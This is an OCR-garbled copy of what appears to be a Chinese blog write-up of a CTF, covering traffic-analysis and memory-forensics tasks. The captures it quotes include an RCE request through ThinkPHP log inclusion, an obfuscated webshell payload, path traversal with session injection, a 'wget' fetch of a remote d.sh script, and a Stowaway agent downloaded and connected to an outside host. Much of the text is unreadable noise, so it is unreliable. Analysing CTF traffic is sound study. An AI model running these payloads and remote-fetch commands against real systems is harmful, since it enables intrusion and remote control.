2021Bi S 3B 53+ WP

YYK[17/6] F 2021-09-15 16:36:10 K fi 3213 iR 8

FRER: CTE's WP a4t X EFE: MBS M&<4s CTE

FRALE B ASCRE ERAICE, #IE_CC 4.0 BY-SA RN, HEFM BRSO s A S,
ACEERE: https://blog.csdn.net/gq_40568770/article/details/120311122

2 WX E 0T H
BB A

i 7

6 RICE 0Tk

WL

EEMENE, 4RHFEREIE, BRERIHEERT7024, HH100L4 . BAREITHET, EL2HUEHEIENKMCTFHE
CAEFXMHIP T, HIHEEE &L, NS E T BEAS BAERERE, Wig

o]

BERE:
EiERA, httpisRiRE403

Jwt

BAEN A

1. F&cookie, jwiigzk

BATELMFWRIG, Kcookieffhil, TERANEMEFRMRBA, MEE R BT
FERER. alert (“root”)

wireshark$T 7, 55103 109X, KSCHERR T

75109, Hecho T M makefile,iEFE Flsolf) 4 F

o o A w N

BFS 129, /etc/pam.d/common-auth

Webshell


https://blog.csdn.net/qq_40568770
https://blog.csdn.net/qq_40568770/category_10017190.html
https://blog.csdn.net/qq_40568770/category_8660260.html
https://so.csdn.net/so/search/s.do?q=%25E6%25B5%2581%25E9%2587%258F%25E5%2588%2586%25E6%259E%2590&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E7%25BD%2591%25E7%25BB%259C%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=CTF&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_40568770/article/details/120311122
https://blog.csdn.net/qq_40568770/category_10017190.html
https://blog.csdn.net/qq_40568770/category_8660260.html

BIENE:
3. 1B EEtepiit, FBS5MERIE

M Wineshank 05 TCF 1 Rop stvram eq 6 - Back poap =} #

POST Jirdex.phptn=Honedc=Menbersia=login HTTR/1.1 ad
Host: 192.168.2.197:8081

Commection: keep-alive

Comtent-Length: 47

Accept: applicetion/jsom, tewt/jawascript, */*; g=B.81

H-Requested-With: EYLHTEpRequest

User-dgent: Mozillas5.@ (Macintosh; Imtel Mac OS5 ¥ 18_15_7) AppleWebkit/537.36 (KMTHL, like Gecko)
Chrome,/92.8.4515.187 Savardf537.36

Comtent-Type: application/x-wew-form-urlencoded; charset=UTF-&

Origin: hTip://192.168.2.197:8081

Referar: hitp://192.16&.2, 097 8061/ Indax, php

Accept-Encoding: galp, daflate

Accepi-Language! ah-CH,zhie=8.9

Cookle: PHPSESSID=CPreblibategdduicptiTnght) think_lenguage=Ih-cN; think_tésplate=default

vaernape=tes LEpassnord=hdninldd IR0X BEexpire=0HTTR L. 1 208 0K
Date: Sat, BT Aug 2821 @9:33:20 GMT

Server: Apache/2.4.7 [Ubuntu}

H-Powered-By: PHPJE. 5. 9-lubuntud. 29

Expires: Thu, 19 Nov 1981 28:52:88 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-checkz8, pre-checksd
Pragea: no-cache

Comtent-Length: 112

Keep-dldve: tiweout=5, max=188

Commection: Heep-Alive

Content-Type: applicatian/json; charset=-utf-8

{"status”:1, "msg™ : " \uTETh\LEFE5 uE2 LS uFAel", “data™: "\ index.php#
w=ic=parsonalia=indosduid=1", "dialeg™:""}GET findax.php HTTR/1.1

HOST! 191.168.2 197180681

Cormaction: keep-allve

R IS SEe T w
| % tn, 5 Emm 2 2 BAE £, 5 i S2AR, |
| mwin ez - EERETEEY oo - =0 & |
| |
| ‘

aweE | m9 || smn N sgret 7 g

32RFBHT —AHEXM, LN B o CENAEXNT B2 )5 BHR AT
BERH31AKItcpl, REFhtpIR L, /EILATLN R, K5 EIXMogh 47

M Wireshark - i35 HTTP # (tcpstream eq 31) - hackpcap - [m] *

i Cookie: PHPSESSID=c7rgBBitbgdegddujcpt6Tmghé; think_language=zh-CN; think_template=default; A
Connection: close

| Content-Type: application/x-www-form-urlencoded

Content-Length: 68

variabla=1&tpl=data/Runtime/Logs/Home/21_@8_07.loghsaa=system( "pwd');HTTP/1.1 288 OX
Date: Sat, 87 Aug 2821 @9:39:87 GMT

Server: Apache/2.4.7 (Ubuntu}) ‘\

X-Powered-By: PHP/5.5.9-1lubuntud, 29

Expires: Thu, 19 Nov 1981 @3:52:88 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=@, pre-check=g
Pragma: no-cache

Vary: bccept-Encoding

Content-Encoding: gzip

Content-Length: 22783

Connection: close

Content-Type: text/html, charset=sutf-g

[ 2021-88-@7T17:37:55+88:8@ ] 172.17.4.1 /index.php?m=homeRa=assi __r'eJrne__tpl
B e .|"npp.l.l:ntmr\.FHuIeIV:L!u!defaultfml

<|DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.8 Transitional//En™ “DTD/xhtmll-transitional.ded”s
<html xmlns="http://www.w3.org/1999/xhtml"><head>

<style type="text/css's

| | body {background-color: #Ffffff; color: #PEeR8Q;}

body, td, th, hl, h2 {font-family: sans-serif;}

! pre {margin: Bpx; font-family: monospace;}

a:link {color: #888899; text-decoration: none; background-color: #FFFfff;}

a:hover {text-decoration: underline;}

| | table {border-collapse: collepse;}

.center {text-align: center;}

.center table { margin-left: auto; margin-right: suto; text-align: left;}

.center th { text-align: center |important; } w
Sl e 5 EeE al, | BER BE. 1 rania). SEEE,

BATE (107 k) ~ ETRFRTNEY | ASCII -
s | |[EET

EREE e || Save as- Gl |4 @:{:{K[I IL’E}J




3.3 &3k webshellZ J5, HREZ
ETEwhoamiffiREIZE R, R —8BSE a2 2 www-data)

M Wireshark - i85 HTTF # (tcpstream eq 31) - hack peap - [m] *

Cookie: PHPSESSID=c7rgBBitbgdegddujcpt6Tmghé; think_language=zh-CN; think_template=default; A
Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 68

variabla=1&tpl=data/Runtime/Logs/Home/21_@8_07.loghsaa=system( "pwd');HTTP/1.1 288 OX
Date: Sat, 87 Aug 2821 @9:39:87 GMT

Server: Apache/2.4.7 (Ubuntu}) ‘\

X-Powered-By: PHP/5.5.9-1lubuntud, 29

Expires: Thu, 19 Nov 1981 @3:52:88 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=@, pre-check=g
Pragma: no-cache

Vary: bccept-Encoding

Content-Encoding: gzip

Content-Length: 22783

Connection: close

Content-Type: text/html, charset=sutf-g

[ 2021-88-@7T17:37:59+88:80 ] 172.17.8.1 /index.php?m=home&a=assi _r'eJrne_tpl
ERR: ...............i./Application/Home/View/default

< |DOCTYPE html PUBLIC =-//W3C//DTD XHTML 1.8 Transitional//EN"“DTD/ mll-transitional.dtd™>
<html xmlns="http://wuww.w3.org/1999/xhtml"><head>

<style type="text/css">

| | body {background-color: #FFFFFf; color: #900000;}

body, td, th, hl, h2 {font-family: sans-serif;}

pre {margin: @px; font-family: monospace;}

a:link {color: #898@899; text-decoration: none; background-color: #FFFFFf;}
arhover {text-decoration: underline;}

| | table {border-collapse: collapse;}

.center {text-align: center;}

.center table { margin-left: auto; margin-right: auto; text-align: left;}

.center th { text-align: center |important; } w|
Sl 5 Eel i, | BSE S8, I renis). SEEN,

BAEE Q07 kB) - ETRFRFREY AT b
E | |[EET—m

x| w | [ e | [ GEODN @[T %56]

34EBEE N\ webshell ST 44 & .
J& T 7 19 (91 .php B & webshell 3244

e

Ml Wiires i - S TCP B £q ¥9) - hack peap - o A
E

POST /1.php WTTR/1.1 ™

Host: 192.168.2.197:8081

Accept-Encoding: grip, deflate

User-Agent: Mozilla/5 @ (Mecintosh, Intel Mac G5 X 18_18 1) AppleWebiit /537 38 (KHTML, llke Gecka)
Chrome/37.8.2062.124 Saferi/537, 38

Content-Typa: application/x-www-form-urlencoded

Content-Length: 1068

Connection: close

Fui
B

AT, 87 Aug 2021 99:42:17 GMT

Server: Apache/2.4.7 (Ubentu) e
X-Powered-8y: PHP/S.5.5-lubuntud, 28 o
Vary: Accept-Enceding

Content-Encoding: gzlp L
Content-Length: 206 CH

Connection: close
Content-Type: tewt/himl

v
S ML [ EON £8. | BEQ P, |t SEER.

RS (1915 hyroes? - EERESERS ol b - " :
CEOp @Y |..gi £
Bn: SDiL@vy ?-l?.‘LJ

35R%E LAENRETARZ P infs ¥R o (WAEFEHEEMER /NS

#EEpostN %, urldecodef@idja, base64f#idsE ~j680...... KERRE RERIBAE, B4 substr, FEERIFLFHNFE

o ) fRIEA B frpe.ini

Last buld; A year age - v8 supports multiple inputs and a Node AP allowing you to program with CyberChef)

Recipe O E e

length; 1374
Lines: 1

Options g3 About  Support i

+to=Hn =



asaziepini_set{Xiadisplay_srrorsXazizcX20X220%22)%K3eNaset _tine limit|@)X3efunctionkzaasen: (Xzdout)¥78rsturnizetasout
BIERTORIBFurcbiorlBasoutaut! INTEN 2 dautputiaDob_get_cantents| 1%3Bok_end_clean )X3Bechakakl 228R22, K22F72XN2253Bechall
BdGatane (Rldeutpn s I NIBachaR PRI 2PN RLILIFANZIRFONT Do b _etar s ( IRIIL Ay RTINIAFRIDDacaia_dacode [ subetr (X24_POSTREFRIZ
From Basesd B Il jesevie1sesfza¥sokaca))EImNIacKsoNze_POSTESEKIZuasd 69645 TERIaNIZNSONSBXN22: X305 tr_raplace (K275 CrazaNICkZN22%acK s
I%2ENZAcNIDs tr_replace (R2ZRSCAN2INCKIIN 2NN 24 ) NIERIAbu PRADEIZNI 2N for | NIAANIDENITNILINICsEr Lan N22 0 ) RIBNILINZEN
. a2 B 1e240f NADurLencode (RIIRIERIT, ubatr (RIScNICNDALNI0D ) IREBachai BaBFwria | Fopan {N24FRICRITANID | NICHDI0LF | RAFRIZING 1N

N 3aX229%212 )XPRIEN T Deat oh| Except ior S 2ak1se ) KT BechoR 10K 2ERROREIARIFRIFEZD K2 da-
S3Egetessagel |XIENTONIBasoutput] ) E3 Bdie] )N3BE j5BET13A15SAF=FEL3The 133 d3cvaHRtbConcnE ] Lal Q30X 30&xaSdE0EeETERTa=5E5
EFEDBDEFE S DA T IEST T 557 2 EFE1GAGAT 22030 2013032231 363828323330 2E 3132338473657 ITEES T ISFTEEFT2TA203D 10T ITITIRRATACE
ERGEGEADERE1] BL 2400402 6CIENSE RRDAE 5O BAI PO LERSD TERAAE BPAEE TETARFTEAFE DGRBS EDAATA TP 2O50I0TARI FAOAT E A0 Ta4EEF T8
Frl74zRana8s131 0] BaTRe 76T 60EE IR DA I6F&36ET I3 6RA 7RG TSE TEOEESF TS TI6ET 123028 384 BA4AETAT] AE63AC5 L AARL TRECTSETESEE 5F

URL Decode & n

-28-34/

Remaove non-alphabet chars

From Basesd G () TBS173TITTSA e D A a7 T PO ST 6 S SRS B 637 27 TR SEF GEL0IDI0TAT2TS65ATSTISS5F 6 EREDTBTI65T 1T IEEFEE2OI026T7
ATITEREDA
N-Za-18-34/ =
Remaove non-alphakbet chars
start: 562 time:  1ms -
O t wd: 338 Jeneth: 1997 ] r:
s ' amn

length: 32 1Enes:

maan@ing_met [“display_srrors", "8");@=et_time_limit(@);function asenc|fawt]{return fout;};function ssoutputi)
{Soutputeon_get_contents(}jou_end_clean()jecho "28°."f71";echo asenc($output);echo

SRABET. "13€47; ok start( ) try{$febasatd_decods{substr($_POST["{628713815987],2) ) deed_POST["xaSd6@5aE7883a" ] Sematr_
replace( ™", 7" 3] denstr_replace("\n","" Sc) jdbufFe” " For (3imd; dicstrlen(c) j Biemd jRbuf murldecode ("N, substr(dz,3Q,
2))jecho{@furite( fopen (§F,"a" ), Sbuf) 21" "@") "ERBDR: /)" . B

rgatMassagal }; b jascutput| d diel ) ;AjEEAT138155E
BT TEAS T RSB eIl IR S E AT IS E I ST IS ST TEAS T I TREF I T AR BET AT 3T SBRATASFABESEELDSRA1S4T
ARGEI2ECASAEEERDEE A5A ST 41386 0T GARBA BATAR ST TASF PP A ARG SOBATATATO55 200 20TAE A TORAT 26560 F TARS 5F TA6F T 27420355831313
1B BB TSETEESEIE30IRT 3656358 T I5RATAEC FEETESEESFTEFIEETII03 000 I04E4445T 431 3663405 14A8ATAEC TEETESEESFTEELTATITTEA 2830
BACAAE 32 3T 354 T T BRATS T IESEFESEEE LTI THTRT 4S5 FEE 28 L0087 T I TEESAATET L5 SFEEFADTATIES T3 TIASEFEEIB02AT4T2TEESRA

CSDN @YYK[17 | 6]

T

Recipe S B Input

Qn L3Zheigsd2cvaHRtbCOmenBEjLmluag=

URL Decode

From Basebd G} Ll
Alphabot .
A-Za-z@-9+/=

Remove non-alphabet chars

From Basebd4 @' n
Nlahabet -
A-Za-z@-9+/=

M remove non-alphabet chars

OQutput

fvar funwf heml/ Ta P

CSDN @YYK[17 | 6]

36EBEAMI T B KB R % o 1P &2 .
3 7EEKsocks5HEREK S . HiD2 o (RIEMER#SEEIF, Blnadmintpasswd)
TN HI R xa5d. ... KIME, BREFERER, BEEEP. EERD. AF4. %15, REHFSS



H &5
C YT

1. B Ewww.zip

301 "GET php HTTP/:L 1" 404 ﬁ5? n_m "Mozilla,
301 "GET wwwé2921p HTTP/1.1" 200 1686 "-" "Mozi.
390] "GET /wwwX%2ezip HTTP/1.1" 200 1686 "-" "Mozi.
390] "GET /wwwX2erar HTTP/1.1" 484 457 "-" "Mozil:
390] "GET /wwwX2etar%2egz HTTP/1.1" 404 457 "-" ")
@] "GET /web%2erar HTTP/1.1" 404 457 "-" "Mozil:
3901 "GET /wwwX%2e7z HTTP/1.1" 404 457 "-" "Mozill:
8] "GET /www¥%$2etar HTTP/1.1" 404 457 "-" "Mozil:
301 "GET /web%2ezip HTTP/1.1" 484 457 |
)01 "GET /web%2ezin HTTP/1.1" 404 aé?JerfﬁMﬁﬁgﬁ'

2. access.log, BRITB...[..0..[1..0..1 .1 .. Itmp/sess_carsEk, HIWiscf/itmp/sess_car
3. EICHE 28 2 SplFileObject

/?

filename=. .%2F..%2F. .%2F..%2F. .%2F. . %2F . .%2F. .%2F. . %2F . .%2F. .%2F . .%2F . .%2F . .%2F . .%2F . .%2F . . %2Ftmp%2Fsess_car&
content=func%7CN%3Bfiles%7Ca%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A16%3A%22 . %2Ffiles%2Ffilename%22%3Bs%3A20%3
A%22call_user_func_array%22%3Bs%3A28%3A%22.%2Ffiles%2Fcall_user_func_array%22%3B%7Dpaths%7Ca%3A1%3A%7Bs%3A5%3

A%22%2Fflag%22%3Bs%3A13%3A%22SplFileObject%22%3B%7D HTTP/1.1" 302 879 "-" "python-requests/2.26.8"
start: 297 time: 1ms
end: 297 length: 297 I— Lx
OUtPUt length: 2] lines: 1 a D m o

/?filename=../../../.. /S ) /.. /tmp/sess_car&content=func|N;files|a:2:
{s:8:"filename";s:16:"./files/filename";s:20:"call_user_func_array";s:28:"./files/call_user_func_array";}path
s|la:1:{s:5:"/flag";s:13:"SplFileObject";} HTTP/1.1" 3@2 879 "-" "python-requests/2.26.8"

CSDN @YYK[17 | ]

RED



BIEANE:

S HrpcapiBE, FAHLipMiZ%~2172.18.0.1, AILERRLZUDPH KA. EECLABTKNE, FEIUDPELERPOS=, 1M
HAEKRFbasebd, WHAEEKIE. PO5=)5HE#=Z00 00 00 00F101 00 00 00, HHOOMKERZ32. 01HKER16, AIRERIA
iE.



RIE K R1655 0 F] R f2aes, K E 16/ base64 (EIP05=/5THZ01 00 00 00/ EHaes keyf % KIMMAE KT T, 0200
00 00+ A B #FE — AN WERF, Hp2EIP172.18.0.125F 4 : wget http://147.182.251.98/d.sh; B LL & — 15 A
127.18.0.125, % 1A% HH A 18217 58 B KDX0GScM9dwrgzZht, % =[alipBi-4147.182.251.98 (udp.stream eq 85)

udp.stream eq B5

Destination Protacol | Lengtt| info

172.18.0.1 42277 - B8B8 Len=52
18217 60.573393688 172.18.8.125 172.18.0.1 uoeP 94 42277 -+ B8BB Len=52
18218 60.573417120 172.18.8.1 172.18.0.125 uop 78 B888 - 42277 Len=36
18219 6@8.573572556 172.18.08.125 172.18.0.1 uoeP 94 42277 -+ B8B8B Len=52
18220 60.573609039 172.18.0.1 172.18.0.125 uop 78 8888 - 42277 Len=36
18221 60.573629398 172.18.0.125 172.18.0.1 uoeP 94 42277 - B8BB Len=52
18222 60.573649440 172.18.0.1 172.18.0.125 uop 78 B888 - 42277 Len=36
18223 60.573662959 172.18.8.125 172.18.0.1 uoeP 94 42277 -+ B8BB Len=52
18224 60.573682604 172.18.0.1 172.18.0.125 uop 78 8888 - 42277 Len=36
18225 60.573696435 172.18.08.125 172.18.0.1 uoeP 94 42277 - B8B8B Len=52
18226 60.573714982 172.18.08.1 172.18.0.125 uop 78 8888 - 42277 Len=36
18227 60.573728420 172.18.0.125 172.18.0.1 uoeP 94 42277 -+ B8BB Len=52
18228 68.573747851 172.18.8.1 172.18.0.125 uoeP 78 8888 - 42277 Len=36
18229 60.573761082 172.18.8.125 172.18.0.1 uoeP 94 42277 - B8EB Len=52
18230 ©60.573780119 172.18.8.1 172.18.0.125 uop 78 8888 - 42277 Len=36

Destination Port:
Length: 6@

tatus: Unverified]
[Stream index: BS5]
[Timestamps]
[Time since first frame: ©.008@5
[Time since previous frame: @.0888855
UDP payload (52 bytes)
82 42 ac 12 @@ 7d @2 3 ]
g 7 48 @8 & 7 2 Bl ac (] 5
B a5 25 58 ] %< X-P@5=-+
25 61 +--#ga-- -b ---ull
63 53 1vUKcSzu CcFémylN
6f 50 be 52 5@ 35 pNTPoPng RPSGTt

94 BBBE - 42277 Len=52

18216 608.573369158 172.18.8.1 172.18.8.125 uoP

. .18.8. .18.0.1 uoP
18218 608.57341712¢ 172.18.8.1 172.18.9.125 uoP 78 8888 - 42277 Len=36
18219 60.573572556 172.18.8.125 172.18.90.1 uoP 94 42277 - 8888 Len=52
18228 60.573609039 172.18.8.1 172.18.9.125 uoP 78 8888 - 42277 Len=36
18221 60.573629398 172.18.8.125 172.18.9.1 uoe 94 42277 - BBBB Len=32
18222 60.573649448 172.18.8.1 172.18.8.125 uoe 78 BBBE - 42277 Len=36
18223 608.573662959 172.18.8.125 172.18.9.1 uoP 94 42277 - BBBB Len=52
18224 6@.5736B2604 172.18.8.1 172.18.9.125 unP 78 BBBB - 42277 Len=36
18225 6@.573606435 172.18.8.125 172.18.90.1 uoP 94 42277 - BBB8 Len=52
18226 60.573714982 172.18.8.1 172.18.9.125 uoe 78 8888 - 42277 Len=36
18227 60.573728420 172.18.8.125 172.18.90.1 uoe 94 42277 - 8888 Len=32
18228 60.573747851 172.18.8.1 172.18.0.125 uop 78 BBBEB - 42277 Len=36
18229 60.5T3761082 172.18.8.125 172.18.0.1 upe 94 42277 - 8888 Len=52
18238 608.573780119 172.18.8.1 172.18.9.125 uo@ 78 B8B8BB - 42277 Len=36

Fort: BBEB

[Timest
ITime nee first frame: ©.08
[Time since prev s frame:
UDP payload (52 bytes)

02 42 78

0

28 81 as B 8@ 3c 58 fo 5@
a0 aa 4d a9 11 b0 @@ ff 44
74 58 64 77 72 5a 68 74 @@
a0 aa g8 0@ o0 @8

N



BIENE:
6.1 { i T Bvolatility (kali &%)
imageinfofd 4RI R 415 B

Volatility Fuund1t1nn

SP1x64,

Number o
Image Type (

BEEFHlsadumpts 4 EEREEZNAF

® ~/8 @ /volatility

| 1lity /root/S @ /Target.vmem lsadump
Vﬁhtlllf‘f Foundatlnn Volatility Framework 2.6

efaultPassword

@xﬁﬁﬂﬁﬁﬂﬁﬁ 48 00
0x00000010 66
0x00000020 43 00
0x00000030 54 00
0x00000040 59 00
0x00000050 69 00

00 00 00
0@ 61 00O
00 4d 00
00 00
00 00

00

=
=]

00 00 00 00 00
0@ 7b @@
00 20 00
00 20 00
00 52 00
00 00 00

=
f &
=]
=

oh &
oh &
=~

L Wi

[ % I T

B S W w
S kW
DWW o =

w S
~ W AW

I
-

DPAPI_SYSTEM
0x00000000
0x00000010
0x00000020
0x00000030

B 3flag
flag{W31COM3 TO THiS 34SY FOR3NSICX}

6.2

filescan 84 X
A RS A B RERH At ETES

HEIHUAWEI P40

0=000000007d8cTa30 14 ? R-—-r-d \Device\Harddiskvolumel\Windo tem32\WindowsPowershell\vi. o\powershell.exe

Urﬂﬂﬂﬂuﬂﬁﬂ?d"l?dlﬂ 1 B R—r-d \Harddisk 5 ctoph, P40_2021-aa-bb xx.yy.zz



1% F dumpfilesg 4- 3R B ST 44

Kali "] DA B3 A dat ST v i i 45 21 %40 Bl B 50k

v ],'

file.None. file.None.
Oxfffffa8003ed351 Oxfffffa80037e0af
0.img 0.dat

HUAWEI
P40_2021-..




T R BN S

WIE(E) MME(V) FE(G)
M & <« picture storage MediaTar images

imagesO.tar.enc

B 475

B 4%
O sismes

143X #F:14.5KiB (14,848 F1), STAZ(E): 8.8 GiBN @yyk(17|6]

& 2] DUE SR B E T A
https://github.com/RealityNet/kobackupdec

18 F #5 4 python3 kobackupdec.py -vwwv 2554 Hnas Sk #2514 B %
RIER R BAGN _ERE A ) flag 2 4 B R _

W31COM3_TO_THiS_34SY FOR3NSICX

R VT 45 2R Ja B SO R (BbAkad

CSDN @YYK[17 6]




R3S F a\storage\MediaTarimages
#TFimages0.tarE 454 15 21 & Hflag

faj B H & 20 Hr

BIENE:
12IRERER
SEEMBFEREK —Bbasebd. i i RIBAT T R #shell#fE

SQLIEA
B

1. ENIERSRHIRER), WRRIVIRE IEH i, bool&TE
2. WEBEERE, R, FEROER, BUEASANGRE, HHE
3. HikflagErIiER], BUIENRLRN WILFE, HHE.

WIFI
A P
AT

10S

BENE:
13833 &F 1 #ip192.168.1.8.5 51#83.128.156.1 5981 i &
2wget RILTHFHM TR

testiphonex:~ root# 1s

Library

Media

key.key

testiphonex:~ root# wget https://github.com/ph4ntonn/Stowaway/releases/download/1.6.2/ios_agent && chmod 755 ios_agent
--2021-08-29 ©1:52:11-- https://github.com/phdntonn/Stowaway/releases/download/1.6.2/ios_agent

Resolving github.com... 13.25@.177.223

Connecting to github.com|13.250.177.223|:443... connected.

HTTP request sent, awaiting response... 302 Found

Location: https://github-releases.githubusercontent.com/221836131/b5384fc6-6372-498b-83ac-f475fae3f64b?X-Amz-

Algorithm=AWS4-HMAC-SHA2568X-Amz-Credential=AKIATIWNIYAXACSVEH53A%2F20210828%2Fus-east-1%2Fs 3%2Faw54_requer5:D83)fEﬁF]{z,T,J 7|8]
Nate=2A210R7RT17532178X-Am7 -Fxni res=3AARX - Am7 - T S A



3 AR {5 FH SCAS AN I B R S 4 whack4sec

SHSE Goocoonads GoooNGnGes OOGCoAO0OE OOGSaGCann OHGOOaESE 98% 448K @s
SEEIE soooonaone DoSoDOUCOD GOO0DIGOGO ooBooOCDND Dosooapcoo CEES AEEE GE
e Goconaanno oacon 100% 433K=11s

2021-08-29 ©1:53:35 (368 KB/s) - 'ios_agent' saved [4061072/4061072]

testiphonex:~ root# ./ios_agent -c 3.128.156.159:8081 -s hack4sec
2021/08/28 17:53:5@ [*] Starting agent node actively.Connijfing to 3.128.156.159:8081

S 13541, 55 FEFHF A, 3 BREEE A, 6 turn(s). SEERE
BANKHE (8117 bytes) v Show data as |ASCII v

EE%E:‘ CSDN @YYK[17|6)

4 =AM, o ENEBRFREHSRT . 746558f3-c841-456b-85d7-d6c0f2edabb2




5 Z W& MR ER /A LFAXTZ), B THELBRIERENGECUARM AR 4SETH, BIXELNR, 51H10-499

im e B R QeunpEg e lE aaqarT

[ip-sre_host == "152.168.1.8" && ip.dst_host == "132.168.1.12"] i
a0 ' Time Sounce | Destination Protaced  Lengtt Info
69242 1370, pod0dd  192.168.1.8 192.166.1.12 TLSvi. 247 Application Data
69244 1370.0896@0 192.166.1.8 192.168.1.12 TP 66 55716 + 443 [ACK] Seq=115B45 Ack=310874 Win=138556d Len=8 TSval=106882497 TSec
69251 1371.B846@0  192.168.1.8 192.168.1.12 TLSvl. 247 Application Data
69253 1371.p00080  192.168.1.8 192.168.1.12 TCR G6 55716 -« 443 [ACK] Seq=11G6826 Ack=314565 Win=13856@ Len=0 TSval=196682800 TSec
69257 1371060600 192.166.1.8 192.168.1.12 TLSvl. 247 Application Data
69250 1371.089600 192.168.1.8 192.168.1.12 TP 66, 55716 ~ 443 [ACK] Seq=116207 Ack=315888 Win=138495 Len=@ TSval-106883112 TSec
69263 1371.B0AGG0  192.168.1.8 132.166.1.12 TiSvl.  248%gpplication Data
69265 1371080600  192.168.1.8 192,168.1.12 TCP 66 16 = 443 [ACK] Seq=116389 Ack=315572 Win=128560 Len=p TSval=196883420 Tsec

=@ TSval=1965

6. A
7.8 Eip192.168.1.8%F P4 M ) 7 R E T AR I
8. & FElogxf, NEHISEED R

PLERNF

BAIENA:
RN
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